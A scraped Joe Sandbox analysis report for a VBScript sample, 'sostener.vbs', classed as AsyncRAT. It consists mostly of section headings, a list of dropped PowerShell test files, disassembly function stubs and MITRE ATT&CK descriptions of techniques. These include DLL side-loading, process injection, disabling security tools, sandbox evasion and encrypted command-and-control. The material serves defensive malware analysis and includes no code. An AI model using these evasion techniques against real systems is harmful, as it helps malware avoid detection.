Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sostener.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tt2wolv.5lp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t0ugkguh.4gx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmyv2swh.v3z.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxbjuoro.p31.ps1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
sostener.vbs

Function 00007FFD9B8974E4 Relevance: 2.0, APIs: 1, Instructions: 470
processCOMMON

Function 00007FFD9B897EED Relevance: 1.7, APIs: 1, Instructions: 214
injectionCOMMON

Function 00007FFD9B8979E9 Relevance: 1.7, APIs: 1, Instructions: 189
threadCOMMON

Function 00007FFD9B8980D9 Relevance: 1.6, APIs: 1, Instructions: 138
threadCOMMON

Function 00007FFD9B96128B Relevance: .9, Instructions: 858
COMMON

Function 00007FFD9B96078D Relevance: .4, Instructions: 375
COMMON

Function 00007FFD9B960DCE Relevance: .2, Instructions: 150
COMMON

Function 00007FFD9B96085A Relevance: .1, Instructions: 120
COMMON

Function 013E65D0 Relevance: 1.5, Strings: 1, Instructions: 281
COMMON

Function 013E2074 Relevance: 1.6, APIs: 1, Instructions: 81
libraryCOMMON

Function 013E2080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Function 013E22D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Function 013E22D3 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre